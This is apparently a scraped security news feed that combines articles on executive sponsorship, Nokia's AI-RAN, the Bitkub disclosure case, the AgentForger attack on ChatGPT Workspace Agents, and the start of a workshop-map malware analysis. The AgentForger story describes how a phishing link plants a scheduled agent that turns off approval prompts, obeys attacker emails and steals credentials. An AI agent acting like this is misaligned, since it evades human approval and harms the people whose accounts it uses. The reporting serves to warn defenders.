<p class="wp-block-paragraph">There are a few phrases I have used with executive sponsors over the years that capture the underlying issue. The sharpest one:</p>



<h2 class="wp-block-heading">If the decision has to go above the sponsor, they are not the sponsor.</h2>



<p class="wp-block-paragraph">Sponsorship is defined by what the sponsor can decide without asking someone else. That is the test. Anything else is the appearance of sponsorship, not the substance.</p>



<p class="wp-block-paragraph">For CIOs supporting enterprise transformation, the implication is direct. Sponsor selection, or sponsor preparation when selection is not an option, is not a hierarchy question. It is a transformation capability question. The same execution discipline that goes into defining decision rights, structuring governance and protecting delivery momentum should apply, with equal rigor, to assessing sponsor fit and building sponsor literacy before the program begins.</p>



<p class="wp-block-paragraph">A sponsor does not need to be the technical expert. They do need to know when to trust the people who are.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Why enterprises should care about Nokia’s AI-RAN platform]]></title>
<description><![CDATA[Earlier this month, Nokia provided an AI-RAN platform update that brings an AI-native and programmable compute which is projected to double spectral efficiency by 2028. This increases speed, but more importantly, it can allow mobile operators to create some actual monetization beyond connectivity...]]></description>
<link>https://tsecurity.de/de/3690985/it-security-nachrichten/why-enterprises-should-care-about-nokias-ai-ran-platform/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690985/it-security-nachrichten/why-enterprises-should-care-about-nokias-ai-ran-platform/</guid>
<pubDate>Fri, 24 Jul 2026 10:13:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Earlier this month, Nokia provided an AI-RAN platform update that brings an AI-native and programmable compute which is projected to double spectral efficiency by 2028. This increases speed, but more importantly, it can allow mobile operators to create some actual monetization beyond connectivity.</p>



<p class="wp-block-paragraph">With this release, Nokia is introducing what it calls the industry’s first commercial AI-RAN platform, built on its AI‑native anyRAN software and Nvidia’s Aerial AI-RAN stack running on merchant GPU-based accelerated computing. The company is already seeing more than 20% gains in spectral efficiency from AI-driven radio algorithms, with a roadmap to reach 50% by 2027 and more than 100% by 2028, effectively doubling capacity on existing spectrum in dense cells.</p>



<p class="wp-block-paragraph">Legacy RAN infrastructure enables connectivity but not much beyond that. The AI-RAN makes the network intelligent and extends AI into the physical world, enabling telcos to get more from their infrastructure investments, including <a href="https://www.networkworld.com/article/4128115/is-private-5g-6g-important-after-all.html">providing a path to 6G</a>. The partnership with Nvidia brings CUDA and AI into mobile environments.</p>



<p class="wp-block-paragraph">For <em>Network World</em> readers, the headline isn’t just that Nokia got to market first with AI‑RAN—it’s that the company is using AI and GPUs to break the historical coupling between radio performance and custom silicon refresh cycles, and to turn the RAN into an application platform.</p>



<h2 class="wp-block-heading">What AI-RAN actually is</h2>



<p class="wp-block-paragraph">At a technical level, Nokia’s AI‑RAN is a software‑defined baseband architecture that runs Layer 1/Layer 2 RAN functions and AI models on accelerated compute, primarily GPUs, instead of being locked into fixed‑function ASICs. <a href="https://www.linkedin.com/in/cheers/">Udayan Mukherjee</a>, Nokia’s CTO for RAN and core, summarized the vision in the <a href="https://www.networkworld.com/article/4200815/AI-RAN-analyst-briefing-20260714_095948-Meeting-Recording-2-_1_otter_ai_transcript.txt">analyst briefing</a>: “AI‑RAN is essentially a platform that turns the radio network into a true AI‑native programmable platform… one software detached from the hardware, defining flexible hardware deployment configurations, including part of the AI grid.”</p>



<p class="wp-block-paragraph">Several pillars stand out:</p>



<ul class="wp-block-list">
<li>AI‑native design: Algorithms move from traditional linear models to increasingly nonlinear techniques (e.g., advanced channel estimation, deep receivers/transmitters, RKHS-based methods), which demand tensor-heavy compute best delivered by GPUs.</li>



<li>Software-defined RAN: The same anyRAN software stack runs across different hardware configurations—plug‑in cards, standalone AI‑RAN nodes, and COTS/cloud RAN—so innovation comes via software releases rather than baseband card swaps.</li>



<li>Programmable “D‑apps” layer: Nokia is pushing a new real‑time E3 interface from Layer 1/2 into an application layer for distributed apps (D‑apps) that can tap IQ samples, channel estimation and scheduling data for use cases such as sensing and location services.</li>



<li>Crucially, this isn’t meant to replace all custom silicon overnight. Mukherjee was explicit: “We are not dropping the purpose‑built product… but we want to also get to merchant silicon, because that’s the future as we want to develop bigger models and AI elements and value‑added services on top of it.” The result is a hybrid era where AI‑accelerated platforms coexist with existing basebands but begin to shoulder the most compute‑intensive workloads.</li>
</ul>



<h2 class="wp-block-heading">Why AI-RAN matters for operators</h2>



<p class="wp-block-paragraph">Nokia and its early operator partners are trying to solve three perennial problems: finite spectrum, changing traffic patterns, and the drag of hardware refresh cycles.</p>



<p class="wp-block-paragraph">First, spectrum constraints. <a href="https://www.linkedin.com/in/aji-ed/">Aji Ed</a>, Nokia’s head of AI‑RAN and cloud RAN, called spectrum “the first constraint everybody has,” noting that operators have paid “huge amount of money” for bands and now need to “get up to the 2x spectrum” in terms of usable capacity. By running more complex AI models for multi‑user MIMO pairing, channel estimation, carrier aggregation and deep receiver/transmitter functions on GPUs, Nokia believes it can unlock those gains where traditional platforms simply run out of compute headroom.</p>



<p class="wp-block-paragraph">Second, traffic is shifting. Generative AI and distributed inference workloads are driving more uplink-heavy, latency‑sensitive patterns that current RANs weren’t designed for. AI‑RAN’s ability to adapt scheduling, beamforming and resource allocation dynamically via AI models deployed at the baseband is meant to keep up with this shift.</p>



<p class="wp-block-paragraph">Third, innovation cadence. In Ed’s words, “hardware upgrades can’t keep up with the innovation… we can’t really have a silicon refresh cycle linked with every three‑year cycle.” Nokia’s subscription‑based software model is designed to deliver new AI algorithms, spectral‑efficiency improvements and network optimization features continuously, without requiring “forklift” hardware replacements.</p>



<p class="wp-block-paragraph">For operators, the message is attractive: comparable TCO and power to existing basebands, “no hardware premium” for GPU adoption, but higher capacity and a path to new services. Nokia told analysts it has reached performance, price and energy efficiency parity between its custom GridShark silicon and GPU-based systems, while moving the baseband roadmap to merchant silicon.</p>



<h2 class="wp-block-heading">Nokia’s differentiation strategy</h2>



<p class="wp-block-paragraph">Every major RAN vendor is talking about AI‑enhanced radio, but Nokia is drawing a line between incremental gains and what it claims is a platform shift. When asked why its 2x spectral efficiency ambition is so much higher than the ~20% numbers competitors discuss, Ed pointed to the underlying architecture: “We are able to bring much more complex algorithms into this compute infrastructure… all of these require much higher compute, which is exactly what is coming from the accelerated computing.”</p>



<p class="wp-block-paragraph">Several differentiators emerge:</p>



<ul class="wp-block-list">
<li>Aggressive spectral roadmap: Nokia is targeting 1.5x by 2027 and 2x by 2028, across TDD massive MIMO and FDD scenarios, with a feature roadmap built jointly with Nvidia and other partners.</li>



<li>Single code base, three deployment paths: The same anyRAN software stack runs on (1) a GPU‑powered AirScale capacity plug‑in card, (2) a high‑capacity standalone AI‑RAN node, and (3) GPU‑based COTS/cloud RAN servers. This lets operators modernize “at their own pace” and mix brownfield evolution with greenfield AI-native deployments.</li>



<li>Open ecosystem with D‑apps: Nokia is leaning into ORAN compliance (front‑haul, O1/O2) and actively championing the E3 interface and D‑apps concept within ORAN and AI‑RAN alliances, with Bell Labs and at least two external partners already building sensing and location applications on the platform.</li>



<li>Software subscription tied to value: The commercial model builds on existing software subscriptions but ties pricing more explicitly to delivered value, such as spectral efficiency improvements and new AI services, rather than pure license metrics.</li>
</ul>



<p class="wp-block-paragraph">Mukherjee emphasized the openness angle in the briefing: “We see a lot of third‑party applications, whether it’s improving spectral efficiency or location service or sensing, can be developed on this platform… any AI‑powered services from us in Nokia or from ecosystems can be actually developed on top of it.” For operators burned by closed optimization stacks, that’s a notable pivot.</p>



<h2 class="wp-block-heading">How AI-RAN unlocks new revenue</h2>



<p class="wp-block-paragraph">Most operators will sign off on AI‑RAN if the capacity and TCO story holds, but the more strategic question is monetization beyond connectivity. Nokia’s spokespeople spent considerable time on this in the analyst call, pointing to several classes of services that are difficult or impossible to deliver without AI running in the RAN itself.</p>



<p class="wp-block-paragraph">Examples include:</p>



<ul class="wp-block-list">
<li>Integrated sensing: Turning the RAN into a distributed sensor grid that can support applications such as 3D mapping, gesture recognition and environmental monitoring, using the same RF infrastructure. Mukherjee noted, “We have at least two to three partners developing sensing applications on top of it… as well as two other companies developing location services.”</li>



<li>Physical AI and location services: For factories, logistics hubs and smart cities, AI‑RAN can provide high‑precision positioning and real‑time telemetry for robots, drones and autonomous systems by fusing radio data and AI models at the edge.</li>



<li>Distributed AI infrastructure: Operators exploring “AI‑native cities” can use AI‑RAN nodes and COTS GPU servers as a distributed inference fabric for applications that need tight latency to endpoints—think AR/VR offload, real‑time video analytics or interactive generative AI experiences.</li>



<li>Premium connectivity tiers: With fine‑grained, AI‑driven control over uplink/downlink scheduling and QoS, operators can create differentiated SLAs for enterprise slices, mission‑critical IoT and AI workloads, charging for guaranteed performance rather than best‑effort connectivity.</li>
</ul>



<p class="wp-block-paragraph">Ed framed the opportunity as a continuum: Superior connectivity from 2x spectral efficiency creates “space for new AI workloads and other use cases,” while the D‑apps ecosystem and subscription model provide a mechanism to package and sell those capabilities. In practice, that could look like:</p>



<ul class="wp-block-list">
<li>Industrial sensing-as-a-service, where Nokia and partners supply D‑apps for integrated sensing and positioning, and operators monetize them per site or per device.</li>



<li>Network‑exposed APIs for inference, location and RF sensing, integrated into operators’ broader network API portfolios as they pursue “network-as-a-platform” strategies.</li>



<li>Sector‑specific AI‑native services, such as stadium analytics, transportation corridor monitoring, or drone traffic management, built by ISVs on top of Nokia’s exposed E3 data.</li>
</ul>



<p class="wp-block-paragraph">For operators that already use Nokia’s MantaRay and SMO stacks for cross‑network optimization, AI‑RAN essentially becomes the local real‑time execution environment, while R‑apps/X‑apps continue to orchestrate macro-level behaviors. Mukherjee described this layered architecture as “DU and CU on the platform running D‑apps using E3, interfacing to X‑apps and R‑apps through E2SM and connecting to the overall management system/SMO for lifecycle management.”</p>



<h2 class="wp-block-heading">Adoption path and reality check</h2>



<p class="wp-block-paragraph">Nokia is not promising instant transformation. AI‑RAN pilots are slated for late 2026, with commercial availability on card‑based systems in 2027 and AirScale-based systems around 2028, all driven from a single software stack that supports 4G, 5G and is upgradable to 6G. The company already has trials and collaborations underway with T‑Mobile US, SoftBank, Indosat Ooredoo Hutchison, BT, Elisa, Vodafone, Orange, NTT Docomo, Deutsche Telekom and others.</p>



<p class="wp-block-paragraph">There are still open questions around 3GPP vs ORAN standardization of E3, the maturity of the D‑apps ecosystem, and how operators will digest yet another subscription layer tied to radio software. But Nokia’s move puts a stake in the ground: in the AI era, the RAN is not just a throughput engine; it’s a programmable AI computer that can be monetized.</p>



<p class="wp-block-paragraph">For <em>Network World</em> readers evaluating vendor roadmaps, this launch suggests a clear directional change. If Nokia hits its targets, AI‑RAN could mark the point where baseband becomes less about hardware SKUs and more about an AI platform strategy—one where spectral efficiency and new services are rolled out at “software speed,” as Ed described it, rather than at the pace of the next card generation.</p>
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<title><![CDATA[Thailand SEC Files Criminal Complaint Against Bitkub Over 2021 Cyberattack]]></title>
<description><![CDATA[Thailand's cryptocurrency exchange Bitkub has rejected allegations of fraud after the Thailand SEC filed a criminal complaint related to the company's disclosures following the Bitkub cyberattack in 2021. The case focuses on how the exchange reported the impact of the cyberattack on Bitkub to reg...]]></description>
<link>https://tsecurity.de/de/3690896/it-security-nachrichten/thailand-sec-files-criminal-complaint-against-bitkub-over-2021-cyberattack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690896/it-security-nachrichten/thailand-sec-files-criminal-complaint-against-bitkub-over-2021-cyberattack/</guid>
<pubDate>Fri, 24 Jul 2026 09:10:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="832" height="515" src="https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Bitkub cyberattack" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack.webp 832w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-300x186.webp 300w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-768x475.webp 768w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-600x371.webp 600w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-150x93.webp 150w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-750x464.webp 750w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack.webp 832w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-300x186.webp 300w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-768x475.webp 768w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-600x371.webp 600w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-150x93.webp 150w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-750x464.webp 750w" sizes="(max-width: 832px) 100vw, 832px" title="Thailand SEC Files Criminal Complaint Against Bitkub Over 2021 Cyberattack 1"></p><span data-contrast="auto">Thailand's cryptocurrency exchange Bitkub has rejected allegations of fraud after the Thailand SEC filed a criminal complaint related to the company's disclosures following the Bitkub cyberattack in 2021. The case focuses on how the exchange reported the impact of the cyberattack on Bitkub to regulators, rather than on the safety of customer funds.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">In response to the complaint, Bitkub stated that all customer assets currently held on its platform remain safe, fully accounted for, and protected in accordance with applicable regulations. The company argued that the allegations stem from decisions made during the aftermath of the 2021 <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="security" data-wpil-keyword-link="linked" data-wpil-monitor-id="29116">security</a> breach and do not reflect fraudulent conduct.</span><span data-ccp-props="{}"> </span>
<h3><strong>Thailand SEC Files Complaint Over the 2021 Bitkub Cyberattack </strong></h3>
<span data-contrast="auto">On 23 July 2026, the<a href="https://www.sec.or.th/EN/Pages/News_Detail.aspx?SECID=13139" target="_blank" rel="nofollow noopener"> Thailand SEC filed a criminal complaint</a> against Bitkub Online Co., Ltd. and its former directors, Sakolkorn Sakavee and Thaweesap Rawan. The regulator alleged that the company's daily net capital reports submitted between 10 May and 30 October 2021 failed to accurately reflect the material reduction in its digital asset holdings caused by the Bitkub <a class="wpil_keyword_link" href="https://thecyberexpress.com/cyber-news/" title="cyberattack" data-wpil-keyword-link="linked" data-wpil-monitor-id="29115">cyberattack</a>.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">According to the regulator, the reports did not disclose the impact of the theft on the company's asset balance. The Thailand SEC also accused the two former directors of making false entries in company documents that gave the impression that customer assets were still being held normally and that the company had not suffered any damage.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The complaint has been referred to Thailand's Economic Crime Suppression Division for further investigation. Following that process, the matter may be forwarded to prosecutors and the courts. The Thailand SEC noted that filing a <a href="https://thecyberexpress.com/fake-emails-scam-indians-heres-what-to-know/" target="_blank" rel="noopener">criminal complaint</a> does not represent a final determination of guilt.</span><span data-ccp-props="{}"> </span>
<h3><strong>Bitkub Says Disclosure Decision was Intended to Prevent Customer Losses</strong></h3>
<span data-contrast="auto">Following media reports about the complaint, <a href="https://www.linkedin.com/posts/on-23-july-2026-news-reports-emerged-regarding-share-7486045546315694081-abKc/?utm_source=share&amp;utm_medium=member_android&amp;rcm=ACoAAAfAnJwBMfzai0rLzfzxnZE_NCnVt2ZLE_o" target="_blank" rel="nofollow noopener">Bitkub published a statement on LinkedIn</a> explaining its position on the cyberattack and the subsequent reporting decisions.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The company said the allegations relate to an incident in early May 2021, when one of its digital asset wallets was compromised by cybercriminals. Bitkub acknowledged that the breach was not disclosed at the time.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">According to the company, the individual responsible for disclosure obligations deliberately withheld information about the wallet compromise. Bitkub said the decision was made to avoid triggering a "bank run," or mass withdrawals of digital assets by customers, while the company worked to replace the stolen assets.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The exchange stated:</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">"The decision of such individual not to disclose the incident was made with the intention to prevent a bank run—that is, a mass withdrawal of digital assets by customers upon learning of the theft—which could have rendered the Company unable to procure sufficient replacement digital assets for the customers while the recovery process was still ongoing."</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Bitkub added that such a scenario could have resulted in significant customer losses and broader damage to Thailand's digital asset industry.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The company also stressed that, at the time of the Bitkub <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-a-cyber-attack/" title="cyberattack" data-wpil-keyword-link="linked" data-wpil-monitor-id="29117">cyberattack</a>, all of its digital asset wallet security systems complied with standards prescribed by the relevant authorities and had been audited.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Co-founders Replaced Stolen Assets After Cyberattack on Bitkub</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Although the digital assets stolen during the cyberattack on Bitkub were never recovered, the company said its co-founders voluntarily absorbed the <a href="https://thecyberexpress.com/keytronic-reveals-million-loss-cyberattack/" target="_blank" rel="noopener">financial loss</a>.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">According to Bitkub, the co-founders purchased digital assets matching the same types and quantities as those stolen and transferred them to the company. As a result, the exchange said neither its customers nor the business ultimately suffered any financial loss from the incident.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">In its statement, Bitkub said:</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">"As no bank run occurred, even though the stolen digital assets could not be recovered, the Co-Founders of the Bitkub Group voluntarily absorbed the loss by purchasing equivalent digital assets (in the same type and quantity as those stolen) and providing them to the Company. Consequently, neither the Company nor its customers suffered any financial loss from the theft."</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Thailand SEC Previously Confirmed Customer Assets Were Intact</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Bitkub also pointed to the findings of an earlier inspection conducted by the Thailand SEC after reports of the Bitkub cyberattack surfaced online.</span><span data-ccp-props="{}"> </span><span data-contrast="auto">According to the company, the regulator verified that, as of 8 September 2025, all customer assets held by the exchange were safe and fully accounted for.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The company reiterated this point in its latest statement, saying:</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">"At the outset, for the sake of clarity and mutual understanding, the Company wishes to affirm that all customers' assets currently held by the Company are safe and fully accounted for. The Company reiterates its strict compliance with all applicable laws and regulations in safeguarding and maintaining customer assets."</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Bitkub maintained that the criminal complaint relates to historical reporting practices between May and October 2021, more than five years ago, rather than to the current condition of customer assets or any ongoing security concerns.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">As the investigation proceeds, the case will determine whether the company's reporting following the Bitkub cyberattack complied with regulatory requirements. For now, the complaint remains an allegation, and the legal process involving the Thailand SEC, investigators, prosecutors, and the courts has yet to reach a final conclusion.</span><span data-ccp-props="{}"> </span>]]></content:encoded>
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<title><![CDATA[Is AI killing critical thinking in the classroom?]]></title>
<description><![CDATA[Building effective frameworks could help promote ‘deep thinking’ rather than ‘cognitive atrophy’]]></description>
<link>https://tsecurity.de/de/3690632/ai-nachrichten/is-ai-killing-critical-thinking-in-the-classroom/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690632/ai-nachrichten/is-ai-killing-critical-thinking-in-the-classroom/</guid>
<pubDate>Fri, 24 Jul 2026 05:48:39 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Building effective frameworks could help promote ‘deep thinking’ rather than ‘cognitive atrophy’]]></content:encoded>
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<title><![CDATA[AgentForger proves AI agents can become persistent insider threats]]></title>
<description><![CDATA[A new attack method found by Zenity Labs reveals that AI agents are becoming persistent insiders that attackers can recruit, rather than malware they have to install.



Its researchers have discovered AgentForger, a phishing-based attack that silently creates and launches a fully autonomous AI a...]]></description>
<link>https://tsecurity.de/de/3690493/it-security-nachrichten/agentforger-proves-ai-agents-can-become-persistent-insider-threats/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690493/it-security-nachrichten/agentforger-proves-ai-agents-can-become-persistent-insider-threats/</guid>
<pubDate>Fri, 24 Jul 2026 02:32:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">A new attack method found by Zenity Labs reveals that AI agents are becoming persistent insiders that attackers can recruit, rather than malware they have to install.</p>



<p class="wp-block-paragraph">Its researchers have discovered <a href="https://labs.zenity.io/p/agentforger-part-1-chatgpt-cross-site-agent-forgery" target="_blank" rel="noreferrer noopener">AgentForger</a>, a phishing-based attack that silently creates and launches a fully autonomous AI agent within OpenAI workspaces.</p>



<p class="wp-block-paragraph">Once running, the agent has full access to apps like Outlook, Slack, SharePoint, and Google Drive. It is configured to operate indefinitely without further user interaction, can approve its own access by toggling “never ask” settings, and can continue to act on new assignments sent via email by the attackers that control it. Broad, unfettered access to systems allows it to perform reconnaissance, harvest sensitive data and credentials, impersonate victims, and launch phishing campaigns.</p>



<p class="wp-block-paragraph">While OpenAI resolved the vulnerability four days after disclosure, on a larger scale, AgentForger sheds light on what can happen when <a href="https://www.csoonline.com/article/4200043/openai-model-escape-puts-enterprise-ai-defenses-on-notice.html" target="_blank">AI agents go rogue</a>.</p>



<p class="wp-block-paragraph">“We’re moving into a world where software doesn’t just help people work. It works alongside them,” said <a href="https://zenity.io/authors/michael-bargury" target="_blank" rel="noreferrer noopener">Michael Bargury</a>, co-founder and CTO of agentic AI security platform Zenity. “As AI agents become more capable, attackers will naturally look for ways to influence them, just as they’ve always looked for ways to influence people.”</p>



<h2 class="wp-block-heading">A ‘persistent operator’ that acts without approval</h2>



<p class="wp-block-paragraph">OpenAI’s Workspace Agents can connect and work autonomously across Outlook, Gmail, Slack, Google Drive, SharePoint, and Teams. Users open the agent builder, describe what the agent can do in natural language, connect to tools, set approvals, review and test, schedule actions, then publish. For instance, an agent can autonomously handle incoming emails, review and take actions with approval, gather information from various sources to send out daily briefings, or automatically respond to questions in ChatGPT or Slack channels.</p>



<p class="wp-block-paragraph">Normally, this is “useful automation,” Zenity AI red team researcher <a href="https://labs.zenity.io/authors/mike-takahashi" target="_blank" rel="noreferrer noopener">Mike Takahashi</a> wrote in a <a href="https://labs.zenity.io/p/agentforger-part-1-chatgpt-cross-site-agent-forgery" target="_blank" rel="noreferrer noopener">blog post</a>. But in this attack, “the same scheduler becomes the persistence mechanism.”</p>



<p class="wp-block-paragraph">The creation workflow kicks off the moment a user clicks on a phishing link containing instructions from the threat actor. For the attack to work, a victim must be logged into ChatGPT and Workspace Agents, and have at least one integration with another app, such as Outlook, Gmail, Slack, Google Drive, SharePoint, or Teams.</p>



<p class="wp-block-paragraph">Because those connections already exist, OAuth consent screens are not triggered. Furthermore, the victim does not need to click on another link, keep a Builder tab open, or even visit ChatGPT again.</p>



<p class="wp-block-paragraph">The forged agent is a “persistent operator;” it is installed on the original click and given a schedule, and at those predetermined times, the agent invokes itself, scans for emails from attacker addresses with the subject line “task”, carries those orders out, then returns results to the same attacker-controlled email address.</p>



<p class="wp-block-paragraph">It goes undetected because the attacker prompt instructs the Builder to toggle Outlook to never ask for approval of its actions. Typically, the default is “always ask,” to keep agents from taking unauthorized action; that switch gives agents the ability to act without asking for human approval.</p>



<p class="wp-block-paragraph">“AgentForger showed that an attacker could deploy an autonomous insider agent inside your ChatGPT workspace with a single click,” said Bargury. From there, it can continue to access information, harvest credentials from various sources, impersonate employees, and carry out phishing attacks and fraud while “leveraging the trusted victim’s identity.”</p>



<h2 class="wp-block-heading">A ‘planted accomplice’ that does all the work</h2>



<p class="wp-block-paragraph">Once activated, AgentForger can perform reconnaissance to create an internal map of a company. For instance, agents can scan Outlook, Slack, Teams, Google Drive, SharePoint, or calendar data to identify people, roles, active projects, internal discussions, or all-hands recurring meetings. This can help attackers identify where in the enterprise to target next, based on active teams and channels, projects in the works, or prominent users.</p>



<p class="wp-block-paragraph">“This is the kind of internal context an attacker normally has to build slowly,” Takahashi noted. But in this scenario, action is based on a single emailed assignment. The attacker’s “planted accomplice” does all the work.</p>



<p class="wp-block-paragraph">In another scenario, the agent can steal data by searching for and identifying financial documents, business agreements, or invoices. Or, it can steal credentials by scanning for messages containing passwords, one-time codes, access tokens, password recovery links, or API keys. Further, it can impersonate victims to carry out phishing scams, for instance, by sending legitimate-looking Teams messages instructing users to confirm their credentials on a fake Microsoft login page.</p>



<p class="wp-block-paragraph">In all cases, collected information is organized, analyzed, and sent back to the attacker.</p>



<p class="wp-block-paragraph">“AgentForger points to something much bigger than a single vulnerability,” said Bargury. “It’s less about one bug and more about understanding how the <a href="https://www.csoonline.com/article/4198963/ai-security-operations-and-the-new-race-against-time.html" target="_blank">security model changes</a> as AI becomes part of everyday business operations.”</p>



<h2 class="wp-block-heading">FOMO exposing security gaps</h2>



<p class="wp-block-paragraph">This isn’t necessarily about trust, but more about the need to move fast and adapt, Bargury emphasized. AI agents are helping employees automate work, make decisions faster, and get more done. But enterprises fear they’ll fall behind if they don’t move quickly enough.</p>



<p class="wp-block-paragraph">“The challenge is that we’re introducing a fundamentally new kind of technology into the enterprise,” said Bargury. “The pressure to integrate the next AI feature is outpacing the security controls needed to safely deploy it.”</p>



<p class="wp-block-paragraph">However, the answer isn’t to slow down adoption, he emphasized; the business value is too significant. Rather, the first step is understanding where AI agents exist, who created them, what they’re connected to, and what they’re allowed to do. And when it comes to autonomous agents, enterprises need to pay attention to the processes that trigger them: A schedule, an incoming email, or another automated event.</p>



<p class="wp-block-paragraph">“Those triggers should be governed just as carefully as the agent itself,” said Bargury.</p>



<p class="wp-block-paragraph">High-impact actions should require approval where appropriate, and security teams should be able to quickly disable an agent or its triggers if something doesn’t look right, he said.</p>



<p class="wp-block-paragraph">More broadly, AI agents are introducing the need for a new security model, he pointed out. The question is no longer just “Does this agent have permission?” It’s also, “Is this the behavior we intended?”</p>



<p class="wp-block-paragraph">“The organizations that answer both questions will be in the strongest position to adopt AI safely,” Bargury said.</p>
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<title><![CDATA[Workshop map for MECCHA CHAMELEON is a malware dropper (full breakdown)]]></title>
<description><![CDATA[Table of Contents  Intro Initial Symptom First Look at the Workshop Files Verifying the Asset Files AssetRegistry.bin Reveals the First Clue Opening the UE5 Asset Container Reverse Engineering the Blueprint Extracting the Embedded Payload Analyzing the Dropper Script Confirming Execution on an Af...]]></description>
<link>https://tsecurity.de/de/3690349/malware-trojaner-viren/workshop-map-for-meccha-chameleon-is-a-malware-dropper-full-breakdown/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690349/malware-trojaner-viren/workshop-map-for-meccha-chameleon-is-a-malware-dropper-full-breakdown/</guid>
<pubDate>Fri, 24 Jul 2026 00:21:11 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><h1>Table of Contents</h1> <ul> <li>Intro</li> <li>Initial Symptom</li> <li>First Look at the Workshop Files</li> <li>Verifying the Asset Files</li> <li>AssetRegistry.bin Reveals the First Clue</li> <li>Opening the UE5 Asset Container</li> <li>Reverse Engineering the Blueprint</li> <li>Extracting the Embedded Payload</li> <li>Analyzing the Dropper Script</li> <li>Confirming Execution on an Affected PC</li> <li>Did the Second Stage Execute?</li> <li>Analysis Summary</li> <li>Limitations &amp; Unknowns</li> <li>IOCs</li> <li>Final verdict</li> </ul> <p>A couple of my friends reported seeing a command prompt window briefly appear while Steam was downloading a custom workshop map. The map was being downloaded through the game's in-game lobby and, once the download completed it immediately began loading for the match. Since the command prompt window appeared during this transition, I decided to investigate the workshop files.</p> <p>What I found was a seemingly ordinary workshop map that contained what appears to be a malware dropper, despite having passed workshop review.</p> <p>I'm writing this up because, as far as I know, the map is still available, and because the techniques it uses to hide are worth understanding if you download workshop content. While there are still a few parts of the execution chain I can't fully explain, the artifacts themselves are interesting from a reverse engineering perspective.</p> <p><a href="https://preview.redd.it/nn7j9wf4q1fh1.png?width=1265&amp;format=png&amp;auto=webp&amp;s=0276954f24bafc16cee6b2fc2569c12bedeaea51">https://preview.redd.it/nn7j9wf4q1fh1.png?width=1265&amp;format=png&amp;auto=webp&amp;s=0276954f24bafc16cee6b2fc2569c12bedeaea51</a></p> <p><strong>1): The Initial Symptom</strong></p> <p>A black command prompt window flashed on screen for about a second before disappearing. It appeared while Steam was still downloading the workshop map, just as the game was transitioning into loading it for the match. There were no crashes, error messages, or any other unusual behavior. On its own, it would have been easy to dismiss as Steam running a background process, but seeing a console window appear during a workshop download / match launch was unusual enough that I decided to investigate.</p> <p><strong>2): First Look at the Workshop Files</strong></p> <p>The workshop content is located here:</p> <pre><code>Steam\steamapps\workshop\content\4704690\3765145606\ </code></pre> <p>At first glance, there’s nothing suspicious in the folder. The contents are:</p> <pre><code>AssetRegistry.bin Preview.png Sample.vdf SampleMyUGCMecchaCModKit_Load-Windows.pak SampleMyUGCMecchaCModKit_Load-Windows.ucas SampleMyUGCMecchaCModKit_Load-Windows.utoc </code></pre> <p>There are no executables, DLLs, batch files, or scripts. The <code>.pak</code>, <code>.ucas</code>, and <code>.utoc</code> files are simply the standard Unreal Engine 5 asset container format used for packaging game content exactly what you would expect to see from a UE5 map or mod.</p> <p>This is worth emphasizing: if you were manually checking this folder for malware, there would be no obvious red flags here. Nothing in this directory suggests anything malicious. That is likely why it passed review in the first place.</p> <p><strong>3): 